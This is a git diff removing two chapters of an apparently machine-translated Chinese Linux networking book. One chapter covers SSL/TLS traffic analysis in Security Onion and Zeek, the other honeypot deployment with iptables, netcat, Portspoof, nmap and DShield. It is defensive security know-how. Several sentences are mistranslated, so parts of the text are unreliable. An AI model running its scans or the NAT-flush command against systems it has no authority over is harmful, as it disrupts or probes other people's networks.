Zeek([https://download.securityonion.net](https://download.securityonion.net),[https://docs.securityonion.net/en/2.3/installation.html](https://docs.securityonion.net/en/2.3/installation.html))。 Security Onion 可能很吸引人,因为它在安装 Zeek 的同时还安装了其他几个组件,这对您来说可能是一个更有用的工具集。 - -安全洋葱安装,默认情况下,安装 Suricata 和 Zeek,所以在一个较小的环境中,这是很有意义的,而且,它是方便的从这两个应用的信息在同一台主机上。 - -还记得我们说过 Zeek 是一个“元数据”收集器吗? 一旦我们让“安全洋葱”在网络上运行了几分钟,你就会明白我的意思了。 为了植入一些“有趣的”数据,我启动了一个浏览器并导航到[https://badssl.com](https://badssl.com)。 从那里的,我测试了各种 SSL 错误条件: - -![Figure 13.22 – Testing SSL error detection using BADSSL.com](img/B16336_13_022.jpg) - -图 13.22 -使用 BADSSL.com 测试 SSL 错误检测 - -《老友记》里出现了什么? 从 Security Onion 主界面选择 Kibana,然后在**Dataset**窗格(屏幕中央)中选择 SSL 协议。 这将深入收集到的数据,并为您提供所有 SSL 流量的摘要。 我真正感兴趣的是右侧窗格中关闭的端口列表(**目的端口**)——特别是那些不是`443`的端口: - -![Figure 13.23 – Displaying only SSL data](img/B16336_13_023.jpg) - -图 13.23 -仅显示 SSL 数据 - -请注意,每个页都可以独立分页,并且原始日志就在这些窗格的下方。 - -滚动到**目的端口**窗格中的`443`并删除它。 鼠标移到`443`上,你会看到一些选项: - -![Figure 13.24 – Filtering out port 443/tcp](img/B16336_13_024.jpg) - -图 13.24 -过滤出端口 443/tcp - -您可以单击**+**过滤该值,或者单击**-**从报告中删除该值。 让我们删除它,然后向下滚动到日志窗格。 通过单击**>**图标来展开日志中的任何事件,以获得关于特定会话的多个页面的详细信息: - -![Figure 13.25 – Expanding an event to show full metadata](img/B16336_13_025.jpg) - -图 13.25 -展开事件以显示完整的元数据 - -向下滚动,你会看到地理位置数据(一个很好的估计这个 IP 在地球上的确切位置),以及这个特定会话的 SSL 证书详细信息: - -![Figure 13.26 – Scrolling down, showing just SSL/TLS certificate metadata](img/B16336_13_026.jpg) - -图 13.26 -向下滚动,只显示 SSL/TLS 证书元数据 - -在屏幕顶部的,单击**仪表板**图标,可以获得数百个预先打包的仪表板设置和查询。 如果你知道你在找什么,你可以开始在**搜索**字段中输入它。 让我们输入`ssl`,看看我们有什么: - -![Figure 13.27 – SSL dashboards](img/B16336_13_027.jpg) - -图 13.27 - SSL 仪表板 - -选择**安全洋葱- SSL**; 我们将看到下面的输出: - -![Figure 13.28 – Security Onion – SSL dashboard](img/B16336_13_028.jpg) - -图 13.28 - Security Onion - SSL 仪表板 - -注意,在页面中间,我们将看到实际的服务器名称。 它们大多都是从每个交互中涉及的 SSL 证书中获取的(尽管在其他一些仪表板中使用反向 DNS)。 让我们看看**验证状态**窗格——注意我们有和几个状态描述: - -![](img/B16336_13_Table_09.jpg) - -单击**证书已过期**,并选择**+**以深入到该数据: - -![Figure 13.29 – Narrowing the search – expired SSL certificates only](img/B16336_13_029.jpg) - -图 13.29 -缩小搜索过期 SSL 证书的范围 - -这让我们得到了所涉及的的确切交易,以及涉及的人的 IP ! - -注意,当我们进行导航和深入时,您将看到**搜索词**字段显示在许多屏幕上,这显示了针对 Elasticsearch 的原始查询。 您总是可以手动添加它们,但使用 UI 可以在这方面提供很大帮助。 - -让我们来探索 Kibana|**Discover Analytics**页面。 马上,我们就会看到各种各样的新信息: - -![Figure 13.30 – Discover view of the traffic](img/B16336_13_030.jpg) - -图 13.30 -流量发现视图 - -在**Search**field 区域中,键入`ssl`来缩小搜索条件。 您将看到它在键入时为您提供匹配的搜索结果。 - -接下来,单击**ssl。 版本**和**ssl.certificate.issuer**,然后按**Update**: - -![Figure 13.31 – Showing selected SSL/TLS information](img/B16336_13_031.jpg) - -图 13.31 -显示选定的 SSL/TLS 信息 - -接下来,在字段区域中,键入`source`并添加**源。 ip**至本报告: - -![Figure 13.32 – Building our query by adding more information](img/B16336_13_032.jpg) - -图 13.32 -通过添加更多信息来构建查询 - -您可以很快地看到我们如何将显示范围缩小到我们想要的范围。 - -或者,我们可以根据地理位置进行过滤。 构建一个列表,显示 TLS 版本、源 IP、目的 IP、国家和城市: - -![Figure 13.34 – Removing "US" destinations](img/B16336_13_033.jpg) - -图 13.33 -向查询中添加地理查询信息 - -现在,在**国家**栏中突出**美国**条目,并选择**-**过滤出美国目的地: - -![](img/B16336_13_034.jpg) - -图 13.34 -删除“美国”目的地 - -这给了我们一个更有趣的列表: - -![Figure 13.35 – Final query](img/B16336_13_035.jpg) - -图 13.35 -最终查询 - -深入研究和处理数据可以快速、轻松地显示“目的地在中国、俄罗斯或朝鲜的 TLSv1.0 或更低”。 - -即使过滤掉 TLS 版本,也可以快速得到“未知”TLS 版本的短名单。 注意,在任意时间,我们都可以扩展任意一行来获得该会话的完整元数据: - -![Figure 13.36 – Only TLS versions of "unknown"](img/B16336_13_036.jpg) - -图 13.36 -只有 TLS 版本的“未知” - -让我们在第一行中探索目标 IP: - -![Figure 13.37 – Details of a suspicious IP](img/B16336_13_037.jpg) - -图 13.37 -可疑 IP 的详细信息 - -还有谁使用 SSL 连接到该问题主机? 在真实的安全事故中,您可以使用这种方法来回答一些重要的问题,例如“我们知道客户机 X 受到了影响; 还有谁有类似的流量,我们可以看看这个问题是否更普遍? ": - -![Figure 13.38 – Other internal hosts with the same suspicious traffic](img/B16336_13_038.jpg) - -图 13.38 -有相同可疑流量的其他内部主机 - -在这里,您可以看到 SSL 版本、SSL 证书颁发者和目的地 ip 的国家代码等元数据如何快速获得一些有趣的信息。 想想看,你可以用数以千计的搜索词挖掘得多深! - -如果你正在探索交通解决问题或正在通过一个安全事件,你可以看到如何收集交通元数据可以非常有效的得到有用的信息,而不是只有确定主机和会话涉及但在发现类似的主机和会话,也可能会受到影响! - -这只是冰山一角。 您不仅可以深入挖掘 SSL/TLS 流量,而且还可以探索数百种其他协议! - -# 总结 - -在本章中,我们讨论了几种检测和预防入侵事件的方法。 我们首先讨论这些不同的技术在我们的架构中最适合的位置,然后讨论具体的解决方案。 我们讨论了经典的基于网络的 IPS 解决方案,即 Snort 和 Suricata。 我们还简要介绍了特定于 web 的 ips——特别是 WAF 和 RASP 解决方案。 - -在我们的示例中,我们了解了如何使用 IPS (Suricata)来发现和防止安全问题,甚至创建了一个自定义规则来检测或防止 telnet 会话。 使用 P0f 说明了为硬件和软件清单被动收集流量以及安全问题。 最后,我们使用 Zeek 获取我们收集的数据,并收集和计算元数据,使数据更有意义。 Zeek 尤其适用于挖掘网络流量,以发现那些可能表明安全事件或操作问题的不寻常情况。 - -在下一章中,我们将进一步扩展这种方法,从更被动的收集模型转移到使用“蜜罐”方法,使用基于网络的“欺骗”来发现高保真度的恶意主机。 - -# 问题 - -正如我们总结的,这里有一个问题列表,供你测试你对本章材料的知识。 你可以在附录的*评估*部分找到答案: - -1. 如果我怀疑某个国家发生了使用“未知”TLS 版本的数据外渗事件,我应该使用哪个工具来发现哪些内部主机受到了影响? -2. 如果您知道您有大量使用 PuTTY SSH 客户机的 Windows 客户机,那么如何在不搜索每台机器的本地存储的情况下列出这些客户机? -3. 为什么决定在内部网络或实际的防火墙上放置一个 IPS ? - -# 进一步阅读 - -如欲了解更多本章的内容,可参考以下连结: - -* SELKS 安装:[https://github.com/StamusNetworks/SELKS/wiki/First-time-setup](https://github.com/StamusNetworks/SELKS/wiki/First-time-setup) -* 安全洋葱安装:[https://docs.securityonion.net/en/2.3/installation.html](https://docs.securityonion.net/en/2.3/installation.html) -* Suricata 安装(6.0.0):[https://suricata.readthedocs.io/en/suricata-6.0.0/install.html](https://suricata.readthedocs.io/en/suricata-6.0.0/install.html) -* Suricata 文档:[https://suricata.readthedocs.io](https://suricata.readthedocs.io) -* Snort 文档:[https://www.snort.org/documents](https://www.snort.org/documents) -* Snort 规则:[https://snort.org/downloads/#rule-downloads](https://snort.org/downloads/#rule-downloads) -* JA3 fingerprinting: [https://ja3er.com](https://ja3er.com) - - [https://engineering.salesforce.com/tls-fingerprinting-with-ja3-and-ja3s-247362855967](https://engineering.salesforce.com/tls-fingerprinting-with-ja3-and-ja3s-247362855967) - -* [https://github.com/salesforce/hassh](https://github.com/salesforce/hassh) -* OpenRASP:[https://github.com/baidu/openrasp](https://github.com/baidu/openrasp) -* ModSecurity:[https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual-(v2.x)modsemodse](https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual-(v2.x)modsemodse) -* 负载均衡器上的 WAF 服务:[https://www.haproxy.com/haproxy-web-application-firewall-trial/](https://www.haproxy.com/haproxy-web-application-firewall-trial/) -* Zeek 文档:[https://docs.zeek.org/en/master/](https://docs.zeek.org/en/master/) -* 安全洋葱:[https://securityonionsolutions.com/software](https://securityonionsolutions.com/software)******* \ No newline at end of file diff --git a/docs/linux-net-prof/14.md b/docs/linux-net-prof/14.md deleted file mode 100644 index 28ae299e..00000000 --- a/docs/linux-net-prof/14.md +++ /dev/null @@ -1,575 +0,0 @@ -# 十四、Linux 上的蜜罐服务 - -在本章中,我们将讨论“蜜罐”——可以部署来收集攻击者活动的虚假服务,其假阳性率几乎为零。 我们将讨论各种架构和放置选项,以及部署“蜜罐”的风险。 还将讨论几种不同的蜜罐架构。 本章将开始介绍如何在网络上实现各种“欺骗”方法,以分散和延迟攻击者的注意力,并提供高保真度的攻击者活动日志,几乎没有误报。 - -在本章中,我们将探讨以下主题: - -* 蜜罐概述-什么是蜜罐,为什么我想要一个? -* 部署场景和架构——我应该把蜜罐放在哪里? -* 部署蜜罐的风险 -* 例子 honeypot -* 分布式/社区蜜罐-互联网风暴中心的 DShield 蜜罐项目 - -# 技术要求 - -本章中讨论的所有蜜罐选项都可以直接部署在我们在本书中一直使用的示例 Linux 主机上,或者部署在该主机 VM 的一个副本上。 最后一个来自 Internet Storm Center 的蜜罐示例可能是您选择放在另一个专用主机上的蜜罐。 特别是,如果你打算把这个服务放在互联网上,我建议一个专用的主机,你可以随时删除。 - -# 蜜罐概述-什么是蜜罐,为什么我想要一个? - -蜜罐服务器本质上是一个假服务器——它以某种或另一种类型的*真实*服务器的形式出现,但其背后除了记录和警告任何连接活动外,没有任何数据或功能。 - -你为什么想要这样的东西? 还记得在[*第 13 章*](13.html#_idTextAnchor236)、*Linux 上的入侵防御系统*中,我们处理假阳性警报的时候吗? 这些警报报告攻击,但实际上是由正常活动触发的。 嗯,蜜罐通常只发送你所谓的“高保真”警报。 如果蜜罐触发,要么是因为真正的攻击者行为,要么是因为配置错误。 - -例如,您可能在服务器的 VLAN 中有一个蜜罐 SQL 服务器。 该服务器将监听端口`1433/tcp`(SQL),也可能监听端口`3389/tcp`(远程桌面)。 因为它不是一个实际的 SQL 服务器,所以它不会(永远)看到任何一个端口上的连接。 如果它确实看到一个连接,要么是有人在网络上四处走动,而他们可能不应该在那里,或者这是一个有效的攻击。 仅供参考——渗透测试几乎总是会在项目中很快触发“蜜罐”,因为它们会扫描各种子网来寻找公共服务。 - -也就是说,在许多攻击中,在造成不可弥补的伤害之前,你只有很短的时间来隔离和驱逐攻击者。 蜜罐能帮上忙吗? 简单的回答是肯定的。 蜜罐有几种形式: - -![](img/B16336_14_Table_01.jpg) - -这些场景通常适用于内部“蜜罐”和网络中已经存在的攻击者。 在这些情况下,攻击者已经破坏了您网络中的一个或多个主机,并试图“向上食物链”移动到更有价值的主机和服务(以及数据)。 在这些情况下,你有某种程度的控制攻击者的平台——如果这是一个破坏主机可以脱机操作,重建它,或如果它是攻击者的物理主机(例如无线网络妥协后,),你可以踢掉你的网络和纠正他们的访问方法。 - -另一种情况完全是为了研究。 例如,您可以在公共互联网上放置一个蜜罐 web 服务器,以监视各种攻击的趋势。 这些趋势通常是安全社区发现新漏洞的第一个标志——我们会看到攻击者试图利用特定平台上的 web 服务漏洞,这是我们以前从未在“现场”看到过的。 或者,您可能会看到使用新帐户的 web 或 SSH 服务器的身份验证服务受到攻击,这可能表明有新的恶意软件,或者可能是某些新服务遇到了涉及其订阅者凭据的入侵。 所以,在这种情况下,我们不是在保护我们的网络,而是监视新的敌对活动,这些活动可以用来保护每个人的网络。 - -蜜罐不停止与网络服务。 以同样的方式使用数据和凭证的现象越来越普遍。 例如,您可能有一些具有“吸引人的”名称的文件,当它们被打开时会触发警报——这可能表明您有一个内部攻击者(当然,一定要记录 IP 地址和用户 id)。 或者您可能在系统中拥有“虚拟”帐户,如果试图访问这些帐户,就会触发这些帐户——这些帐户可能再次用于查明攻击者何时在环境中。 或者您可以“水印”关键数据,这样如果在您的环境之外看到它,您就会知道您的组织已经被破坏了。 所有这些都利用了相同的思维方式——当攻击者访问一个有吸引力的服务器、帐户或甚至一个有吸引力的文件时,会触发一组高保真警报。 - -现在,您已经了解了蜜罐服务器是什么以及为什么需要一个蜜罐服务器,让我们进一步研究一下,看看您可能选择在网络的何处放置一个蜜罐服务器。 - -# 部署场景和架构——我应该把蜜罐放在哪里? - -在内部网络上使用“蜜罐”的一个很好的方法是简单地监视,以获得对经常受到攻击的端口的连接请求。 在一个典型的组织的内部网络中,有一个简短的端口列表,攻击者可能会在他们的第一次“让我们研究一下网络”扫描集中扫描这些端口。 如果你在一个不是合法托管该服务的服务器上看到一个连接请求,这是一个非常高保真的警告! 这相当肯定地表明了恶意活动! - -你会注意哪些港口? 一个合理的开始清单可能包括: - -![](img/B16336_14_Table_03.jpg) - -课程的列表还在继续——裁剪蜜罐服务以反映环境中运行的实际服务是非常常见的。 例如,一个生产设施或公用事业可能站起来 honeypot 伪装成**监控和数据采集(**SCADA)或工业控制系统**【显示】(**ICS)服务。**** - - **从我们的列表中,如果您试图向攻击者模拟 SQL 服务器,您可能会让蜜罐侦听 TCP 端口`445`和`1433`。 您不希望监听太多端口。 例如,如果您有一个服务器监听上表中的所有端口,那么它会立即向攻击者发出信号:“这是一个蜜罐”,因为这些端口几乎不会出现在单个生产主机上。 它还告诉攻击者修改他们的攻击,因为现在他们知道您有蜜罐,并且可能您正在监视蜜罐的活动。 - -那么,我们应该把蜜罐放在哪里? 在过去,对于对安全性感兴趣的系统管理员来说,拥有一个蜜罐服务器更像是一种“运动”,他们会将 SSH 蜜罐放在互联网上,只是为了看看人们会做什么。 那些日子已经一去不复返了,任何直接放在互联网上的东西每天都会遇到几次攻击——或者每小时或每分钟,这取决于它们是什么样的组织以及正在提供什么样的服务。 - -在现代网络中,我们在哪里看到“蜜罐”? 你可以把一个放在 DMZ 中: - -![Figure 14.1 – Honeypots in a DMZ](img/B16336_14_001.jpg) - -图 14.1 - DMZ 中的蜜罐 - -这不过只是检测网络攻击,这是有限的效用——来自互联网的攻击几乎是连续的,正如我们在[*中讨论的第 13 章*](13.html#_idTextAnchor236),*入侵预防系统在 Linux 上*。 更常见的是,我们会在内部子网中看到“蜜罐”: - -![Figure 14.2 – Honeypots on the internal network](img/B16336_14_002.jpg) - -图 14.2 -内部网络中的蜜罐 - -这种方法是检测内部攻击的一种很好的方法,几乎 100%的保真度。 任何您在临时或安排的基础上进行的内部扫描当然都会被检测到,但除此之外,所有来自这些“蜜罐”的检测都应该是合法的攻击,或者至少是值得调查的活动。 - -公共互联网上的“研究蜜罐”可以收集各种攻击的趋势。 此外,这些通常还允许您将攻击配置文件与合并的攻击数据进行比较。 - -![Figure 14.3 – "Research" honeypots on the public internet](img/B16336_14_003.jpg) - -图 14.3 -公众互联网上的“研究”蜜罐 - -现在我们已经了解了部署几种类型的“蜜罐”所涉及的各种架构,以及为什么我们可能想要或需要一个,部署这些类型的“欺骗宿主”所涉及的风险是什么? - -# 部署蜜罐的风险 - -常识既然“蜜罐”的存在是为了检测攻击者,那么当然有可能看到攻击者被成功攻击和攻击。 特别是,最后一个向互联网公开服务的例子是一个相当危险的游戏。 如果攻击者破坏了您的“蜜罐”,那么他们不仅在您的网络中有了立足点,而且现在他们还控制了由该“蜜罐”发送的警报,您可能依赖它来检测攻击。 话虽如此,明智的做法是总是为妥协做计划,并随时准备缓解措施: - -* 如果蜜罐面对公共 internet,那么将它放在 DMZ 中,这样就不会从该段访问任何其他生产主机。 -* 如果您的蜜罐在您的内部网络中,您可能仍然希望将它放在带有 NAT 条目的 DMZ 中,以使它看起来像是在内部网络中。 另外,**私有 VLAN**(**PVLAN**)也可以很好地完成这种配置。 -* 只允许您希望从蜜罐服务中看到的出站活动。 -* 对您的蜜罐进行映像,以便如果您需要从头开始恢复它,您可以从一个已知的良好映像进行恢复,而不是从头重新安装 Linux 等等。 利用虚拟化可以在这里提供很大的帮助——恢复一个蜜罐服务器应该只需要几分钟或几秒钟。 -* 把所有蜜罐活动记录到一个中心位置。 这是已知的,随着时间的推移,您将发现可能在不同的情况下部署多个这些组件。 中央日志允许您配置中央警报,所有的主机,您的攻击者可能最终危及。 请参考[*第 12 章*](12.html#_idTextAnchor216),*使用 Linux 的网络监控*,了解中央日志记录的方法,以及保护这些日志服务器的方法。 -* 定期旋转你的蜜罐图像——除了本地日志,蜜罐本身不应该有任何长期的数据,所以如果你有很好的主机恢复机制,那么定期自动地重新生成你的蜜罐图像是很明智的。 - -了解了架构和这个警告之后,让我们讨论一些常见的蜜罐类型,首先从基本的端口警报方法开始。 - -# 示例蜜罐 - -在本节中,我们将讨论构建和部署各种蜜罐解决方案。 我们将介绍如何构建它们,您可能希望将它们放置在哪里,以及为什么要这样做。 我们将重点关注以下几点: - -* 基本的“TCP 端口”蜜罐,在那里我们警告攻击者端口扫描和试图连接到我们的各种服务。 我们将把它们作为没有开放端口的警报(因此攻击者不知道它们触发了警报)进行讨论,并将它们作为实际的开放端口服务来减慢攻击者的速度。 -* 预先构建的蜜罐应用,包括开源的和商业化的。 -* 互联网风暴中心的 DShield 蜜罐,它是分布式的和基于互联网的。 - -让我们开始吧,从几种不同的方法站起来“开放端口”蜜罐主机。 - -## 基本的端口报警蜜罐- iptables, netcat 和 portspoof - -基本端口连接请求在 Linux 中很容易捕获,您甚至不需要侦听端口! 因此,您不仅会在您的内部网络上捕获恶意主机,而且它们根本看不到任何开放的端口,因此,没有任何迹象表明您正在“拍摄”它们。 - -为此,我们将使用`iptables`到监视任何给定端口上的连接请求,然后在它们发生时记录它们。 这个命令将监视到端口`8888/tcp`的连接请求(`SYN`数据包): - -```sh -$ sudo iptables -I INPUT -p tcp -m tcp --dport 8888 -m state --state NEW -j LOG --log-level 1 --log-prefix "HONEYPOT - ALERT PORT 8888" -``` - -我们可以很容易地用`nmap`(从远程机器)测试这一点——请注意,端口实际上是关闭的: - -```sh -$ nmap -Pn -p8888 192.168.122.113 -Starting Nmap 7.80 ( https://nmap.org ) at 2021-07-09 10:29 Eastern Daylight Time -Nmap scan report for 192.168.122.113 -Host is up (0.00013s latency). -PORT STATE SERVICE -8888/tcp closed sun-answerbook -MAC Address: 00:0C:29:33:2D:05 (VMware) -Nmap done: 1 IP address (1 host up) scanned in 5.06 seconds -``` - -现在我们可以检查日志: - -```sh -$ cat /var/log/syslog | grep HONEYPOT -Jul 9 10:29:49 ubuntu kernel: [ 112.839773] HONEYPOT - ALERT PORT 8888IN=ens33 OUT= MAC=00:0c:29:33:2d:05:3c:52:82:15:52:1b:08:00 SRC=192.168.122.201 DST=192.168.122.113 LEN=44 TOS=0x00 PREC=0x00 TTL=41 ID=42659 PROTO=TCP SPT=44764 DPT=8888 WINDOW=1024 RES=0x00 SYN URGP=0 -robv@ubuntu:~$ cat /var/log/kern.log | grep HONEYPOT -Jul 9 10:29:49 ubuntu kernel: [ 112.839773] HONEYPOT - ALERT PORT 8888IN=ens33 OUT= MAC=00:0c:29:33:2d:05:3c:52:82:15:52:1b:08:00 SRC=192.168.122.201 DST=192.168.122.113 LEN=44 TOS=0x00 PREC=0x00 TTL=41 ID=42659 PROTO=TCP SPT=44764 DPT=8888 WINDOW=1024 RES=0x00 SYN URGP=0 -``` - -指[*第十二章*](12.html#_idTextAnchor216),*网络监控使用 Linux*,在这里很容易登录到一个远程 syslog 服务器和警报发生`HONEYPOT`这个词。 我们可以扩展这个模型,使其包含任何数量的有趣端口。 - -如果你想让端口打开并发出警报,你可以用和`netcat`来做到这一点——你甚至可以通过添加横幅来“花哨”: - -```sh -#!/bin/bash -PORT=$1 -i=1 -HPD='/root/hport' -if [ ! -f $HPD/$PORT.txt ]; then - echo $PORT >> $HPD/$PORT.txt -fi -BANNER='cat $HPD/$PORT.txt' -while true; - do - echo "................................." >> $HPD/$PORT.log; - echo -e $BANNER | nc -l $PORT -n -v 1>> $HPD/$PORT.log 2>> $HPD/$PORT.log; - echo "Connection attempt - Port: $PORT at" 'date'; - echo "Port Connect at:" 'date' >> $HPD/$PORT.log; -done -``` - -因为我们正在侦听任意端口,所以您将希望以根权限运行这个脚本。 还请注意,如果您想要一个特定的横幅(例如,RDP 用于端口`3389/tcp`或 ICA 用于端口`1494/tcp`),您需要使用以下内容创建这些横幅文件: - -```sh -echo RDP > 3389.txt -The output as your attacker connects will look like: -# /bin/bash ./hport.sh 1433 -Connection attempt - Port: 1433 at Thu 15 Jul 2021 03:04:32 PM EDT -Connection attempt - Port: 1433 at Thu 15 Jul 2021 03:04:37 PM EDT -Connection attempt - Port: 1433 at Thu 15 Jul 2021 03:04:42 PM EDT -``` - -日志文件看起来如下所示: - -```sh -$ cat 1433.log -................................. -Listening on 0.0.0.0 1433 -................................. -Listening on 0.0.0.0 1433 -Connection received on 192.168.122.183 11375 -Port Connect at: Thu 15 Jul 2021 03:04:32 PM EDT -................................. -Listening on 0.0.0.0 1433 -Connection received on 192.168.122.183 11394 -Port Connect at: Thu 15 Jul 2021 03:04:37 PM EDT -................................. -Listening on 0.0.0.0 1433 -Connection received on 192.168.122.183 11411 -Port Connect at: Thu 15 Jul 2021 03:04:42 PM EDT -................................. -Listening on 0.0.0.0 1433 -``` - -更好的方法是使用一个实际的包,由某人维护,它将监听多个端口。 您可以用 Python 快速编写一些代码来监听特定的端口,然后记录每个连接的警报。 或者,您可以利用已经完成此工作的其他人的出色工作,并且也完成了调试,所以您不必这样做! - -Portspoof 就是这样一个应用——你可以在[https://github.com/drk1wi/portspoof](https://github.com/drk1wi/portspoof)找到它。 - -Portspoof 使用的是“老式的”Linux 安装; 即,将您的目录更改为`portspoof`下载目录,然后依次执行以下命令: - -```sh -# git clone https://github.com/drk1wi/portspoof -# cd portspoof -# Sudo ./configure -# Sudo Make -# Sudo Make install -``` - -这会将 Portspoof 安装到`/usr/local/bin`中,配置文件在`/usr/local/etc`中。 - -看看使用`more`或`less`的`/usr/local/etc/portspoof.conf`-你会发现它很好注释并且很容易修改以满足你的需求。 - -默认情况下,这个工具是安装后立即使用。 让我们首先使用`iptables`重定向我们想要监听的所有端口,并将它们指向`4444/tcp`端口,这是`portspoof`的默认端口。 注意,您需要`sudo`权限才能执行`iptables`命令: - -```sh -# iptables -t nat -A PREROUTING -p tcp -m tcp --dport 80:90 -j REDIRECT --to-ports 4444 -``` - -接下来,只需运行`portspoof`,使用默认签名和配置: - -```sh -$ portspoof -v -l /some/path/portspoof.log –c /usr/local/etc/portspoof.conf –s /usr/local/etc/portspoof_signatures -``` - -现在我们将扫描一些被重定向的端口,一些被重定向的端口和一些没有被重定向的端口-注意,我们正在使用`banner.nse`收集服务“横幅”,并且`portspoof`已经为我们预先配置了一些横幅: - -```sh -nmap -sT -p 78-82 192.168.122.113 --script banner -Starting Nmap 7.80 ( https://nmap.org ) at 2021-07-15 15:44 Eastern Daylight Time -Nmap scan report for 192.168.122.113 -Host is up (0.00020s latency). -PORT STATE SERVICE -78/tcp filtered vettcp -79/tcp filtered finger -80/tcp open http -| banner: HTTP/1.0 200 OK\x0D\x0AServer: Apache/IBM_Lotus_Domino_v.6.5.1\ -|_x0D\x0A\x0D\x0A--\x0D\x0A--\x0D\x0... -81/tcp open hosts2-ns -| banner:
\x0D\x0AIP Address: 08164412\x0D\x0AMAC Address: \x0D\x0AS
-|_erver Time: o\x0D\x0AAuth result: Invalid user.\x0D\x0A
-82/tcp open xfer -| banner: HTTP/1.0 207 s\x0D\x0ADate: r\x0D\x0AServer: FreeBrowser/146987 -|_099 (Win32) -MAC Address: 00:0C:29:33:2D:05 (VMware) -Nmap done: 1 IP address (1 host up) scanned in 6.77 seconds -``` - -回到的`portspoof`屏幕,我们将看到的如下: - -```sh -$ portspoof -l ps.log -c ./portspoof.conf -s ./portspoof_signatures --> Using log file ps.log --> Using user defined configuration file ./portspoof.conf --> Using user defined signature file ./portspoof_signatures -Send to socket failed: Connection reset by peer -Send to socket failed: Connection reset by peer -Send to socket failed: Connection reset by peer -The logfile looks like this: -$ cat /some/path/ps.log -1626378481 # Service_probe # SIGNATURE_SEND # source_ip:192.168.122.183 # dst_port:80 -1626378481 # Service_probe # SIGNATURE_SEND # source_ip:192.168.122.183 # dst_port:82 -1626378481 # Service_probe # SIGNATURE_SEND # source_ip:192.168.122.183 # dst_port:81 -``` - -您还可以从 syslog 中获取`portspoof`条目。 信息是相同的,但是时间戳格式化为 ASCII,而不是“从 epoch 开始的秒数”: - -```sh -$ cat /var/log/syslog | grep portspoof -Jul 15 15:48:02 ubuntu portspoof[26214]: 1626378481 # Service_probe # SIGNATURE_SEND # source_ip:192.168.122.183 # dst_port:80 -Jul 15 15:48:02 ubuntu portspoof[26214]: 1626378481 # Service_probe # SIGNATURE_SEND # source_ip:192.168.122.183 # dst_port:82 -Jul 15 15:48:02 ubuntu portspoof[26214]: 1626378481 # Service_probe # SIGNATURE_SEND # source_ip:192.168.122.183 # dst_port:81 -``` - -最后,如果是时候拆下`portspoof`了,你会想要移除我们加入的那些 NAT 条目,让你的 Linux 主机回到它对这些端口的原始处理: - -```sh -$ sudo iptables -t nat -F -``` - -但如果我们想要更复杂的东西呢? 我们当然可以让我们自己构建的蜜罐对攻击者来说变得越来越复杂和现实,或者我们可以购买一个更完整的产品,包含完整的报告和支持产品。 - -## 其他常见蜜罐 - -公众方面,可以使用**宝贝**[(https://github.com/cowrie/cowrie),这是一个由*SSH 蜜罐维护米歇尔 Oosterhof*。 可以将其配置为像真正的主机一样运行——游戏的目的当然是浪费攻击者的时间,让你有时间将他们从你的网络中驱逐出去。 在此过程中,你可以了解到他们的技能水平,也可以了解到他们在攻击中真正想要完成的任务。](https://github.com/cowrie/cowrie) - -*本·杰克逊*的**WebLabyrinth**([https://github.com/mayhemiclabs/weblabyrinth](https://github.com/mayhemiclabs/weblabyrinth))呈现了一个永不结束的系列网页作为一个“篷布”为 web 扫描仪。 同样的,目标都是一样的——浪费攻击者的时间,在攻击过程中尽可能多地获得他们的情报。 - -**Thinkst Canary**([https://canary.tools/](https://canary.tools/)和[https://thinkst.com/](https://thinkst.com/))是一个商业解决方案,在细节和完整性方面非常彻底。 在事实上,这个产品的细节水平让你站起来一个完整的“诱饵数据中心”或“诱饵工厂”。 它不仅使您可以愚弄攻击者,而且通常欺骗的程度使攻击者认为他们实际上正在生产环境中进行。 - -让我们跳出内部网络以及相关的内部和 DMZ 蜜罐,看看面向研究的蜜罐。 - -# 分布式/社区蜜罐-互联网风暴中心的 DShield 蜜罐项目 - -首先,从您的主机获取当前日期和时间。 任何严重依赖于日志的活动都需要准确的时间: - -```sh -# date -Fri 16 Jul 2021 03:00:38 PM EDT -``` - -如果你的日期/时间是关闭的,或者没有被可靠地配置,你会想要在你开始之前修复它——这对任何操作系统中的几乎任何服务都是如此。 - -现在,切换到一个安装目录,然后使用`git`下载应用。 如果你没有`git`,使用我们在本书中使用的标准`sudo apt-get install git`来获得它。 安装`git`后,该命令将在当前工作目录下创建一个`dshield`目录: - -```sh -git clone https://github.com/DShield-ISC/dshield.git -``` - -接下来,运行`install`脚本: - -```sh -cd dshield/bin -sudo ./install.sh -``` - -在这个过程中,将会有几个输入屏幕。 我们将在这里讨论一些关键的问题: - -1. First, we have the standard warning that honeypot logs will of course contain sensitive information, both from your environment and about the attacker: - - ![](img/B16336_14_004.jpg) - - 图 14.4 -对敏感信息的警告 - -2. The next installation screen seems to indicate that this is installing on the Raspberry Pi platform. Don't worry, while this is a very common platform for this firewall, it will install on most common Linux distributions. - - ![Figure 14.5 – Second warning about installation and support](img/B16336_14_005.jpg) - - 图 14.5 -关于安装和支持的第二次警告 - -3. Next, we get yet another warning, indicating that your collected data will become part of a larger dataset that is the Internet Storm Center's DShield project. Your data does get anonymized when it's consolidated into the larger dataset, but if your organization isn't prepared to share security data, then this type of project might not be right for you: - - ![Figure 14.6 – Third installation warning about data sharing](img/B16336_14_006.jpg) - - 图 14.6 -关于数据共享的第三个安装警告 - -4. You'll be asked if you want to enable automatic updates. The default here is to enable these – only disable them if you have a really good reason to. - - ![Figure 14.7 – Installation pick for updates](img/B16336_14_007.jpg) - - 图 14.7 -更新的安装选择 - -5. You'll be asked for your email address and API key. This is used for the data submission process. You can get your API key by logging into the [https://isc.sans.edu](https://isc.sans.edu) site and viewing your account status: - - ![Figure 14.8 – Credential inputs for uploading data](img/B16336_14_008.jpg) - - 图 14.8 -上传数据的凭据输入 - -6. You'll also be asked which interface you want the honeypot to listen on. In these cases, normally there is only one interface – you definitely don't want your honeypot to bypass your firewall controls! - - ![Figure 14.9 – Interface selection](img/B16336_14_009.jpg) - - 图 14.9 -接口选择 - -7. The certificate information for your HTTPS honeypot gets inputted – if you want your sensor to be somewhat anonymous to your attacker, you might choose to put bogus information into these fields. In this example, we're showing mostly legitimate information. Note that the HTTPS honeypot is not yet implemented at the time of this writing, but it is in the planning stages. - - ![Figure 14.10 – Certificate information](img/B16336_14_010.jpg) - - . - - 图 14.10 -证书信息 - -8. You'll be asked if you want to install a **Certificate Authority** (**CA**). In most cases, choosing **Yes** here makes sense – this will install a self-signed certificate on the HTTPS service. - - ![Figure 14.11 – Is a CA required?](img/B16336_14_011.jpg) - - 图 14.11 -是否需要 CA ? 